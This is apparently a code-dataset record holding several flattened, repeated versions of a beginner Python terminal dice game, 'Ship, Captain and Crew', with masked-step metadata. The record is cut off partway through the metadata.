total_crew_one = roll1_crew_one + int(inp_crew_one) print('Your total score is: ' + str( total_crew_one) + '.') else: inp_sc3 = input('Still no 4. Hit enter to roll again') if inp_sc3 == '': roll3_sc3 = random.choices(range(1, 7), k=3) print(roll3_sc3) if set(crew).issubset(roll3_sc3): result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)] total_crew_sc3 = sum(result_crew_sc3) print('Your total score is: ' + str( total_crew_sc3) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) if set(ship).issubset(roll5) and 5 not in roll5 and n < 2: inp_ship = input( 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice ' ) if inp_ship == '': roll4_ship = random.choices(range(1, 7), k=4) print(roll4_ship) if set(cc).issubset(roll4_ship): result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)] total_ship_cc = sum(result_ship_cc) inp_ship_cc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_ship_cc == 'both': print('Your total is: ' + str(total_ship_cc) + '.') if inp_ship_cc == 'neither': roll2_cc = random.choices(range(1, 7), k=2) print(roll2_cc) total_ship_cc_none = sum(roll2_cc) print('Your total score is: ' + str( total_ship_cc_none) + '.') if inp_ship_cc == 'one': inp_ship_cc_one = input( 'Which die do you want to keep? ') roll1_ship_cc_one = random.randint(1, 6) print(roll1_ship_cc_one) total_ship_cc_one = roll1_ship_cc_one + int( inp_ship_cc_one) print('Your total score is: ' + str( total_ship_cc_one) + '.') if set(captain).issubset(roll4_ship): roll3_captain = random.choices(range(1, 7), k=3) print(roll3_captain) if set(crew).issubset(roll3_captain): result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)] total_ship_captain = sum(result_ship_captain) print('Your total score is: ' + str( total_ship_captain) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) else: n = n + 1 <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def multi(): scc = [6, 5, 4] sc = [6, 5] cc = [5, 4] crew = [4] captain = [5] ship = [6] n = 0 while n <= 2: inp = input('Hit enter to roll') if inp == '': roll5 = random.choices(range(1, 7), k=5) print(roll5) if set(scc).issubset(roll5): result_scc = [i for i in roll5 if not i in scc or scc.remove(i) ] total_scc = sum(result_scc) inp_scc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc == 'both': print('Total score: ' + str(total_scc) + '.') if inp_scc == 'neither': roll2_scc = random.choices(range(1, 7), k=2) print(roll2_scc) inp_scc_none = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc_none == 'both': total_scc_none = sum(roll2_scc) print('Total score: ' + str(total_scc_none) + '.') if inp_scc_none == 'neither': roll2_scc_none = random.choices(range(1, 7), k=2) total_scc_none2 = sum(roll2_scc_none) print(roll2_scc_none) print('Your total score is: ' + str(total_scc_none2 ) + '.') if inp_scc_none == 'one': inp_scc_none_one = input( 'Which die do you want to keep? ') roll1_scc_none_one = random.randint(1, 6) total_scc_none_one = roll1_scc_none_one + int( inp_scc_none_one) print(roll1_scc_none_one) print('Your total score is: ' + str( total_scc_none_one) + '.') if inp_scc == 'one': inp_scc_one = input('Which die do you want to keep? ') roll1_scc_one = random.randint(1, 6) print(roll1_scc_one) total_scc_one = roll1_scc_one + int(inp_scc_one) inp_scc_one2 = input( "Hit enter to roll again or type 'pass' to keep your score " ) if inp_scc_one2 == 'pass': print('Your total score is: ' + str(total_scc_one) + '.') if inp_scc_one2 == '': roll1_scc_one2 = random.randint(1, 6) print(roll1_scc_one2) total_scc_one2 = roll1_scc_one2 + int(inp_scc_one) print('Your total score is: ' + str(total_scc_one2) + '.') if set(sc).issubset(roll5): inp_sc = input( 'Now you need a 4(the Crew). Hit enter to roll the remaining dice' ) if inp_sc == '': roll3 = random.choices(range(1, 7), k=3) print(roll3) if set(crew).issubset(roll3): result_crew = [i for i in roll3 if not i in crew or crew.remove(i)] total_crew = sum(result_crew) inp_crew = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_crew == 'both': print('Total score: ' + str(total_crew) + '.') if inp_crew == 'neither': roll2_crew = random.choices(range(1, 7), k=2) print(roll2_crew) total_crew_none = sum(roll2_crew) print('Your total score is: ' + str( total_crew_none) + '.') if inp_crew == 'one': inp_crew_one = input( 'Which die do you want to keep? ') roll1_crew_one = random.randint(1, 6) print(roll1_crew_one) total_crew_one = roll1_crew_one + int(inp_crew_one) print('Your total score is: ' + str( total_crew_one) + '.') else: inp_sc3 = input('Still no 4. Hit enter to roll again') if inp_sc3 == '': roll3_sc3 = random.choices(range(1, 7), k=3) print(roll3_sc3) if set(crew).issubset(roll3_sc3): result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)] total_crew_sc3 = sum(result_crew_sc3) print('Your total score is: ' + str( total_crew_sc3) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) if set(ship).issubset(roll5) and 5 not in roll5 and n < 2: inp_ship = input( 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice ' ) if inp_ship == '': roll4_ship = random.choices(range(1, 7), k=4) print(roll4_ship) if set(cc).issubset(roll4_ship): result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)] total_ship_cc = sum(result_ship_cc) inp_ship_cc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_ship_cc == 'both': print('Your total is: ' + str(total_ship_cc) + '.') if inp_ship_cc == 'neither': roll2_cc = random.choices(range(1, 7), k=2) print(roll2_cc) total_ship_cc_none = sum(roll2_cc) print('Your total score is: ' + str( total_ship_cc_none) + '.') if inp_ship_cc == 'one': inp_ship_cc_one = input( 'Which die do you want to keep? ') roll1_ship_cc_one = random.randint(1, 6) print(roll1_ship_cc_one) total_ship_cc_one = roll1_ship_cc_one + int( inp_ship_cc_one) print('Your total score is: ' + str( total_ship_cc_one) + '.') if set(captain).issubset(roll4_ship): roll3_captain = random.choices(range(1, 7), k=3) print(roll3_captain) if set(crew).issubset(roll3_captain): result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)] total_ship_captain = sum(result_ship_captain) print('Your total score is: ' + str( total_ship_captain) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) else: n = n + 1 <\|reserved_special_token_0\|> for i in players: multi() <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def multi(): scc = [6, 5, 4] sc = [6, 5] cc = [5, 4] crew = [4] captain = [5] ship = [6] n = 0 while n <= 2: inp = input('Hit enter to roll') if inp == '': roll5 = random.choices(range(1, 7), k=5) print(roll5) if set(scc).issubset(roll5): result_scc = [i for i in roll5 if not i in scc or scc.remove(i) ] total_scc = sum(result_scc) inp_scc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc == 'both': print('Total score: ' + str(total_scc) + '.') if inp_scc == 'neither': roll2_scc = random.choices(range(1, 7), k=2) print(roll2_scc) inp_scc_none = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc_none == 'both': total_scc_none = sum(roll2_scc) print('Total score: ' + str(total_scc_none) + '.') if inp_scc_none == 'neither': roll2_scc_none = random.choices(range(1, 7), k=2) total_scc_none2 = sum(roll2_scc_none) print(roll2_scc_none) print('Your total score is: ' + str(total_scc_none2 ) + '.') if inp_scc_none == 'one': inp_scc_none_one = input( 'Which die do you want to keep? ') roll1_scc_none_one = random.randint(1, 6) total_scc_none_one = roll1_scc_none_one + int( inp_scc_none_one) print(roll1_scc_none_one) print('Your total score is: ' + str( total_scc_none_one) + '.') if inp_scc == 'one': inp_scc_one = input('Which die do you want to keep? ') roll1_scc_one = random.randint(1, 6) print(roll1_scc_one) total_scc_one = roll1_scc_one + int(inp_scc_one) inp_scc_one2 = input( "Hit enter to roll again or type 'pass' to keep your score " ) if inp_scc_one2 == 'pass': print('Your total score is: ' + str(total_scc_one) + '.') if inp_scc_one2 == '': roll1_scc_one2 = random.randint(1, 6) print(roll1_scc_one2) total_scc_one2 = roll1_scc_one2 + int(inp_scc_one) print('Your total score is: ' + str(total_scc_one2) + '.') if set(sc).issubset(roll5): inp_sc = input( 'Now you need a 4(the Crew). Hit enter to roll the remaining dice' ) if inp_sc == '': roll3 = random.choices(range(1, 7), k=3) print(roll3) if set(crew).issubset(roll3): result_crew = [i for i in roll3 if not i in crew or crew.remove(i)] total_crew = sum(result_crew) inp_crew = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_crew == 'both': print('Total score: ' + str(total_crew) + '.') if inp_crew == 'neither': roll2_crew = random.choices(range(1, 7), k=2) print(roll2_crew) total_crew_none = sum(roll2_crew) print('Your total score is: ' + str( total_crew_none) + '.') if inp_crew == 'one': inp_crew_one = input( 'Which die do you want to keep? ') roll1_crew_one = random.randint(1, 6) print(roll1_crew_one) total_crew_one = roll1_crew_one + int(inp_crew_one) print('Your total score is: ' + str( total_crew_one) + '.') else: inp_sc3 = input('Still no 4. Hit enter to roll again') if inp_sc3 == '': roll3_sc3 = random.choices(range(1, 7), k=3) print(roll3_sc3) if set(crew).issubset(roll3_sc3): result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)] total_crew_sc3 = sum(result_crew_sc3) print('Your total score is: ' + str( total_crew_sc3) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) if set(ship).issubset(roll5) and 5 not in roll5 and n < 2: inp_ship = input( 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice ' ) if inp_ship == '': roll4_ship = random.choices(range(1, 7), k=4) print(roll4_ship) if set(cc).issubset(roll4_ship): result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)] total_ship_cc = sum(result_ship_cc) inp_ship_cc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_ship_cc == 'both': print('Your total is: ' + str(total_ship_cc) + '.') if inp_ship_cc == 'neither': roll2_cc = random.choices(range(1, 7), k=2) print(roll2_cc) total_ship_cc_none = sum(roll2_cc) print('Your total score is: ' + str( total_ship_cc_none) + '.') if inp_ship_cc == 'one': inp_ship_cc_one = input( 'Which die do you want to keep? ') roll1_ship_cc_one = random.randint(1, 6) print(roll1_ship_cc_one) total_ship_cc_one = roll1_ship_cc_one + int( inp_ship_cc_one) print('Your total score is: ' + str( total_ship_cc_one) + '.') if set(captain).issubset(roll4_ship): roll3_captain = random.choices(range(1, 7), k=3) print(roll3_captain) if set(crew).issubset(roll3_captain): result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)] total_ship_captain = sum(result_ship_captain) print('Your total score is: ' + str( total_ship_captain) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) else: n = n + 1 inp = input('How many players are there? ') players = range(int(inp)) roll_dict = dict() for i in players: multi() <\|reserved_special_token_1\|> import random def multi(): scc = [6, 5, 4] sc = [6, 5] cc = [5, 4] crew = [4] captain = [5] ship = [6] n = 0 while n <= 2: inp = input('Hit enter to roll') if inp == '': roll5 = random.choices(range(1, 7), k=5) print(roll5) if set(scc).issubset(roll5): result_scc = [i for i in roll5 if not i in scc or scc.remove(i) ] total_scc = sum(result_scc) inp_scc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc == 'both': print('Total score: ' + str(total_scc) + '.') if inp_scc == 'neither': roll2_scc = random.choices(range(1, 7), k=2) print(roll2_scc) inp_scc_none = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc_none == 'both': total_scc_none = sum(roll2_scc) print('Total score: ' + str(total_scc_none) + '.') if inp_scc_none == 'neither': roll2_scc_none = random.choices(range(1, 7), k=2) total_scc_none2 = sum(roll2_scc_none) print(roll2_scc_none) print('Your total score is: ' + str(total_scc_none2 ) + '.') if inp_scc_none == 'one': inp_scc_none_one = input( 'Which die do you want to keep? ') roll1_scc_none_one = random.randint(1, 6) total_scc_none_one = roll1_scc_none_one + int( inp_scc_none_one) print(roll1_scc_none_one) print('Your total score is: ' + str( total_scc_none_one) + '.') if inp_scc == 'one': inp_scc_one = input('Which die do you want to keep? ') roll1_scc_one = random.randint(1, 6) print(roll1_scc_one) total_scc_one = roll1_scc_one + int(inp_scc_one) inp_scc_one2 = input( "Hit enter to roll again or type 'pass' to keep your score " ) if inp_scc_one2 == 'pass': print('Your total score is: ' + str(total_scc_one) + '.') if inp_scc_one2 == '': roll1_scc_one2 = random.randint(1, 6) print(roll1_scc_one2) total_scc_one2 = roll1_scc_one2 + int(inp_scc_one) print('Your total score is: ' + str(total_scc_one2) + '.') if set(sc).issubset(roll5): inp_sc = input( 'Now you need a 4(the Crew). Hit enter to roll the remaining dice' ) if inp_sc == '': roll3 = random.choices(range(1, 7), k=3) print(roll3) if set(crew).issubset(roll3): result_crew = [i for i in roll3 if not i in crew or crew.remove(i)] total_crew = sum(result_crew) inp_crew = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_crew == 'both': print('Total score: ' + str(total_crew) + '.') if inp_crew == 'neither': roll2_crew = random.choices(range(1, 7), k=2) print(roll2_crew) total_crew_none = sum(roll2_crew) print('Your total score is: ' + str( total_crew_none) + '.') if inp_crew == 'one': inp_crew_one = input( 'Which die do you want to keep? ') roll1_crew_one = random.randint(1, 6) print(roll1_crew_one) total_crew_one = roll1_crew_one + int(inp_crew_one) print('Your total score is: ' + str( total_crew_one) + '.') else: inp_sc3 = input('Still no 4. Hit enter to roll again') if inp_sc3 == '': roll3_sc3 = random.choices(range(1, 7), k=3) print(roll3_sc3) if set(crew).issubset(roll3_sc3): result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)] total_crew_sc3 = sum(result_crew_sc3) print('Your total score is: ' + str( total_crew_sc3) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) if set(ship).issubset(roll5) and 5 not in roll5 and n < 2: inp_ship = input( 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice ' ) if inp_ship == '': roll4_ship = random.choices(range(1, 7), k=4) print(roll4_ship) if set(cc).issubset(roll4_ship): result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)] total_ship_cc = sum(result_ship_cc) inp_ship_cc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_ship_cc == 'both': print('Your total is: ' + str(total_ship_cc) + '.') if inp_ship_cc == 'neither': roll2_cc = random.choices(range(1, 7), k=2) print(roll2_cc) total_ship_cc_none = sum(roll2_cc) print('Your total score is: ' + str( total_ship_cc_none) + '.') if inp_ship_cc == 'one': inp_ship_cc_one = input( 'Which die do you want to keep? ') roll1_ship_cc_one = random.randint(1, 6) print(roll1_ship_cc_one) total_ship_cc_one = roll1_ship_cc_one + int( inp_ship_cc_one) print('Your total score is: ' + str( total_ship_cc_one) + '.') if set(captain).issubset(roll4_ship): roll3_captain = random.choices(range(1, 7), k=3) print(roll3_captain) if set(crew).issubset(roll3_captain): result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)] total_ship_captain = sum(result_ship_captain) print('Your total score is: ' + str( total_ship_captain) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) else: n = n + 1 inp = input('How many players are there? ') players = range(int(inp)) roll_dict = dict() for i in players: multi() <\|reserved_special_token_1\|> import random def multi(): scc = [6, 5, 4] sc = [6, 5] cc = [5, 4] crew = [4] captain = [5] ship = [6] n = 0 while n <= 2: inp = input("Hit enter to roll") if inp == "": roll5 = random.choices(range(1, 7), k=5) print(roll5) if set(scc).issubset(roll5): result_scc = [i for i in roll5 if not i in scc or scc.remove(i)] total_scc = sum(result_scc) inp_scc = input("Do you wish to keep one, both, or neither of the remaining dice? ") if inp_scc == "both": print("Total score: " + str(total_scc) + ".") if inp_scc == "neither": roll2_scc = random.choices(range(1, 7), k=2) print(roll2_scc) inp_scc_none = input("Do you wish to keep one, both, or neither of the remaining dice? ") if inp_scc_none == "both": total_scc_none = sum(roll2_scc) print("Total score: " + str(total_scc_none) + ".") if inp_scc_none == "neither": roll2_scc_none = random.choices(range(1, 7), k=2) total_scc_none2 = sum(roll2_scc_none) print(roll2_scc_none) print("Your total score is: " + str(total_scc_none2) + ".") if inp_scc_none == "one": inp_scc_none_one = input("Which die do you want to keep? ") roll1_scc_none_one = random.randint(1, 6) total_scc_none_one = roll1_scc_none_one + int(inp_scc_none_one) print(roll1_scc_none_one) print("Your total score is: " + str(total_scc_none_one) + ".") if inp_scc == "one": inp_scc_one = input("Which die do you want to keep? ") roll1_scc_one = random.randint(1, 6) print(roll1_scc_one) total_scc_one = roll1_scc_one + int(inp_scc_one) inp_scc_one2 = input("Hit enter to roll again or type 'pass' to keep your score ") if inp_scc_one2 == "pass": print("Your total score is: " + str(total_scc_one) + ".") if inp_scc_one2 == "": roll1_scc_one2 = random.randint(1, 6) print(roll1_scc_one2) total_scc_one2 = roll1_scc_one2 + int(inp_scc_one) print("Your total score is: " + str(total_scc_one2) + ".") if set(sc).issubset(roll5): inp_sc = input("Now you need a 4(the Crew). Hit enter to roll the remaining dice") if inp_sc == "": roll3 = random.choices(range(1, 7), k=3) print(roll3) if set(crew).issubset(roll3): result_crew = [i for i in roll3 if not i in crew or crew.remove(i)] total_crew = sum(result_crew) inp_crew = input("Do you wish to keep one, both, or neither of the remaining dice? ") if inp_crew == "both": print("Total score: " + str(total_crew) + ".") if inp_crew == "neither": roll2_crew = random.choices(range(1, 7), k=2) print(roll2_crew) total_crew_none = sum(roll2_crew) print("Your total score is: " + str(total_crew_none) + ".") if inp_crew == "one": inp_crew_one = input("Which die do you want to keep? ") roll1_crew_one = random.randint(1, 6) print(roll1_crew_one) total_crew_one = roll1_crew_one + int(inp_crew_one) print("Your total score is: " + str(total_crew_one) + ".") else: inp_sc3 = input("Still no 4. Hit enter to roll again") if inp_sc3 == "": roll3_sc3 = random.choices(range(1, 7), k=3) print(roll3_sc3) if set(crew).issubset(roll3_sc3): result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)] total_crew_sc3 = sum(result_crew_sc3) print("Your total score is: " + str(total_crew_sc3) + ".") else: print("Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.") if set(ship).issubset(roll5) and 5 not in roll5 and n < 2: inp_ship = input( "Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice ") if inp_ship == "": roll4_ship = random.choices(range(1, 7), k=4) print(roll4_ship) if set(cc).issubset(roll4_ship): result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)] total_ship_cc = sum(result_ship_cc) inp_ship_cc = input("Do you wish to keep one, both, or neither of the remaining dice? ") if inp_ship_cc == "both": print("Your total is: " + str(total_ship_cc) + ".") if inp_ship_cc == "neither": roll2_cc = random.choices(range(1, 7), k=2) print(roll2_cc) total_ship_cc_none = sum(roll2_cc) print("Your total score is: " + str(total_ship_cc_none) + ".") if inp_ship_cc == "one": inp_ship_cc_one = input("Which die do you want to keep? ") roll1_ship_cc_one = random.randint(1, 6) print(roll1_ship_cc_one) total_ship_cc_one = roll1_ship_cc_one + int(inp_ship_cc_one) print("Your total score is: " + str(total_ship_cc_one) + ".") if set(captain).issubset(roll4_ship): roll3_captain = random.choices(range(1, 7), k=3) print(roll3_captain) if set(crew).issubset(roll3_captain): result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)] total_ship_captain = sum(result_ship_captain) print("Your total score is: " + str(total_ship_captain) + ".") else: print("Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.") else: n = n + 1 inp = input("How many players are there? ") players = range(int(inp)) roll_dict = dict() for i in players: multi()	flexible	{ "blob_id": "bb540ba4cd96e2485e77ba099f0a1a9ea03e1120", "index": 8144, "step-1": "<mask token>\n\n\ndef multi():\n scc = [6, 5, 4]\n sc = [6, 5]\n cc = [5, 4]\n crew = [4]\n captain = [5]\n ship = [6]\n n = 0\n while n <= 2:\n inp = input('Hit enter to roll')\n if inp == '':\n roll5 = random.choices(range(1, 7), k=5)\n print(roll5)\n if set(scc).issubset(roll5):\n result_scc = [i for i in roll5 if not i in scc or scc.remove(i)\n ]\n total_scc = sum(result_scc)\n inp_scc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc == 'both':\n print('Total score: ' + str(total_scc) + '.')\n if inp_scc == 'neither':\n roll2_scc = random.choices(range(1, 7), k=2)\n print(roll2_scc)\n inp_scc_none = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc_none == 'both':\n total_scc_none = sum(roll2_scc)\n print('Total score: ' + str(total_scc_none) + '.')\n if inp_scc_none == 'neither':\n roll2_scc_none = random.choices(range(1, 7), k=2)\n total_scc_none2 = sum(roll2_scc_none)\n print(roll2_scc_none)\n print('Your total score is: ' + str(total_scc_none2\n ) + '.')\n if inp_scc_none == 'one':\n inp_scc_none_one = input(\n 'Which die do you want to keep? ')\n roll1_scc_none_one = random.randint(1, 6)\n total_scc_none_one = roll1_scc_none_one + int(\n inp_scc_none_one)\n print(roll1_scc_none_one)\n print('Your total score is: ' + str(\n total_scc_none_one) + '.')\n if inp_scc == 'one':\n inp_scc_one = input('Which die do you want to keep? ')\n roll1_scc_one = random.randint(1, 6)\n print(roll1_scc_one)\n total_scc_one = roll1_scc_one + int(inp_scc_one)\n inp_scc_one2 = input(\n \"Hit enter to roll again or type 'pass' to keep your score \"\n )\n if inp_scc_one2 == 'pass':\n print('Your total score is: ' + str(total_scc_one) +\n '.')\n if inp_scc_one2 == '':\n roll1_scc_one2 = random.randint(1, 6)\n print(roll1_scc_one2)\n total_scc_one2 = roll1_scc_one2 + int(inp_scc_one)\n print('Your total score is: ' + str(total_scc_one2) +\n '.')\n if set(sc).issubset(roll5):\n inp_sc = input(\n 'Now you need a 4(the Crew). Hit enter to roll the remaining dice'\n )\n if inp_sc == '':\n roll3 = random.choices(range(1, 7), k=3)\n print(roll3)\n if set(crew).issubset(roll3):\n result_crew = [i for i in roll3 if not i in crew or\n crew.remove(i)]\n total_crew = sum(result_crew)\n inp_crew = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_crew == 'both':\n print('Total score: ' + str(total_crew) + '.')\n if inp_crew == 'neither':\n roll2_crew = random.choices(range(1, 7), k=2)\n print(roll2_crew)\n total_crew_none = sum(roll2_crew)\n print('Your total score is: ' + str(\n total_crew_none) + '.')\n if inp_crew == 'one':\n inp_crew_one = input(\n 'Which die do you want to keep? ')\n roll1_crew_one = random.randint(1, 6)\n print(roll1_crew_one)\n total_crew_one = roll1_crew_one + int(inp_crew_one)\n print('Your total score is: ' + str(\n total_crew_one) + '.')\n else:\n inp_sc3 = input('Still no 4. Hit enter to roll again')\n if inp_sc3 == '':\n roll3_sc3 = random.choices(range(1, 7), k=3)\n print(roll3_sc3)\n if set(crew).issubset(roll3_sc3):\n result_crew_sc3 = [i for i in roll3_sc3 if \n not i in crew or crew.remove(i)]\n total_crew_sc3 = sum(result_crew_sc3)\n print('Your total score is: ' + str(\n total_crew_sc3) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n if set(ship).issubset(roll5) and 5 not in roll5 and n < 2:\n inp_ship = input(\n 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice '\n )\n if inp_ship == '':\n roll4_ship = random.choices(range(1, 7), k=4)\n print(roll4_ship)\n if set(cc).issubset(roll4_ship):\n result_ship_cc = [i for i in roll4_ship if not i in\n cc or cc.remove(i)]\n total_ship_cc = sum(result_ship_cc)\n inp_ship_cc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_ship_cc == 'both':\n print('Your total is: ' + str(total_ship_cc) + '.')\n if inp_ship_cc == 'neither':\n roll2_cc = random.choices(range(1, 7), k=2)\n print(roll2_cc)\n total_ship_cc_none = sum(roll2_cc)\n print('Your total score is: ' + str(\n total_ship_cc_none) + '.')\n if inp_ship_cc == 'one':\n inp_ship_cc_one = input(\n 'Which die do you want to keep? ')\n roll1_ship_cc_one = random.randint(1, 6)\n print(roll1_ship_cc_one)\n total_ship_cc_one = roll1_ship_cc_one + int(\n inp_ship_cc_one)\n print('Your total score is: ' + str(\n total_ship_cc_one) + '.')\n if set(captain).issubset(roll4_ship):\n roll3_captain = random.choices(range(1, 7), k=3)\n print(roll3_captain)\n if set(crew).issubset(roll3_captain):\n result_ship_captain = [i for i in roll3_captain if\n not i in crew or crew.remove(i)]\n total_ship_captain = sum(result_ship_captain)\n print('Your total score is: ' + str(\n total_ship_captain) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n else:\n n = n + 1\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef multi():\n scc = [6, 5, 4]\n sc = [6, 5]\n cc = [5, 4]\n crew = [4]\n captain = [5]\n ship = [6]\n n = 0\n while n <= 2:\n inp = input('Hit enter to roll')\n if inp == '':\n roll5 = random.choices(range(1, 7), k=5)\n print(roll5)\n if set(scc).issubset(roll5):\n result_scc = [i for i in roll5 if not i in scc or scc.remove(i)\n ]\n total_scc = sum(result_scc)\n inp_scc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc == 'both':\n print('Total score: ' + str(total_scc) + '.')\n if inp_scc == 'neither':\n roll2_scc = random.choices(range(1, 7), k=2)\n print(roll2_scc)\n inp_scc_none = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc_none == 'both':\n total_scc_none = sum(roll2_scc)\n print('Total score: ' + str(total_scc_none) + '.')\n if inp_scc_none == 'neither':\n roll2_scc_none = random.choices(range(1, 7), k=2)\n total_scc_none2 = sum(roll2_scc_none)\n print(roll2_scc_none)\n print('Your total score is: ' + str(total_scc_none2\n ) + '.')\n if inp_scc_none == 'one':\n inp_scc_none_one = input(\n 'Which die do you want to keep? ')\n roll1_scc_none_one = random.randint(1, 6)\n total_scc_none_one = roll1_scc_none_one + int(\n inp_scc_none_one)\n print(roll1_scc_none_one)\n print('Your total score is: ' + str(\n total_scc_none_one) + '.')\n if inp_scc == 'one':\n inp_scc_one = input('Which die do you want to keep? ')\n roll1_scc_one = random.randint(1, 6)\n print(roll1_scc_one)\n total_scc_one = roll1_scc_one + int(inp_scc_one)\n inp_scc_one2 = input(\n \"Hit enter to roll again or type 'pass' to keep your score \"\n )\n if inp_scc_one2 == 'pass':\n print('Your total score is: ' + str(total_scc_one) +\n '.')\n if inp_scc_one2 == '':\n roll1_scc_one2 = random.randint(1, 6)\n print(roll1_scc_one2)\n total_scc_one2 = roll1_scc_one2 + int(inp_scc_one)\n print('Your total score is: ' + str(total_scc_one2) +\n '.')\n if set(sc).issubset(roll5):\n inp_sc = input(\n 'Now you need a 4(the Crew). Hit enter to roll the remaining dice'\n )\n if inp_sc == '':\n roll3 = random.choices(range(1, 7), k=3)\n print(roll3)\n if set(crew).issubset(roll3):\n result_crew = [i for i in roll3 if not i in crew or\n crew.remove(i)]\n total_crew = sum(result_crew)\n inp_crew = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_crew == 'both':\n print('Total score: ' + str(total_crew) + '.')\n if inp_crew == 'neither':\n roll2_crew = random.choices(range(1, 7), k=2)\n print(roll2_crew)\n total_crew_none = sum(roll2_crew)\n print('Your total score is: ' + str(\n total_crew_none) + '.')\n if inp_crew == 'one':\n inp_crew_one = input(\n 'Which die do you want to keep? ')\n roll1_crew_one = random.randint(1, 6)\n print(roll1_crew_one)\n total_crew_one = roll1_crew_one + int(inp_crew_one)\n print('Your total score is: ' + str(\n total_crew_one) + '.')\n else:\n inp_sc3 = input('Still no 4. Hit enter to roll again')\n if inp_sc3 == '':\n roll3_sc3 = random.choices(range(1, 7), k=3)\n print(roll3_sc3)\n if set(crew).issubset(roll3_sc3):\n result_crew_sc3 = [i for i in roll3_sc3 if \n not i in crew or crew.remove(i)]\n total_crew_sc3 = sum(result_crew_sc3)\n print('Your total score is: ' + str(\n total_crew_sc3) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n if set(ship).issubset(roll5) and 5 not in roll5 and n < 2:\n inp_ship = input(\n 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice '\n )\n if inp_ship == '':\n roll4_ship = random.choices(range(1, 7), k=4)\n print(roll4_ship)\n if set(cc).issubset(roll4_ship):\n result_ship_cc = [i for i in roll4_ship if not i in\n cc or cc.remove(i)]\n total_ship_cc = sum(result_ship_cc)\n inp_ship_cc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_ship_cc == 'both':\n print('Your total is: ' + str(total_ship_cc) + '.')\n if inp_ship_cc == 'neither':\n roll2_cc = random.choices(range(1, 7), k=2)\n print(roll2_cc)\n total_ship_cc_none = sum(roll2_cc)\n print('Your total score is: ' + str(\n total_ship_cc_none) + '.')\n if inp_ship_cc == 'one':\n inp_ship_cc_one = input(\n 'Which die do you want to keep? ')\n roll1_ship_cc_one = random.randint(1, 6)\n print(roll1_ship_cc_one)\n total_ship_cc_one = roll1_ship_cc_one + int(\n inp_ship_cc_one)\n print('Your total score is: ' + str(\n total_ship_cc_one) + '.')\n if set(captain).issubset(roll4_ship):\n roll3_captain = random.choices(range(1, 7), k=3)\n print(roll3_captain)\n if set(crew).issubset(roll3_captain):\n result_ship_captain = [i for i in roll3_captain if\n not i in crew or crew.remove(i)]\n total_ship_captain = sum(result_ship_captain)\n print('Your total score is: ' + str(\n total_ship_captain) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n 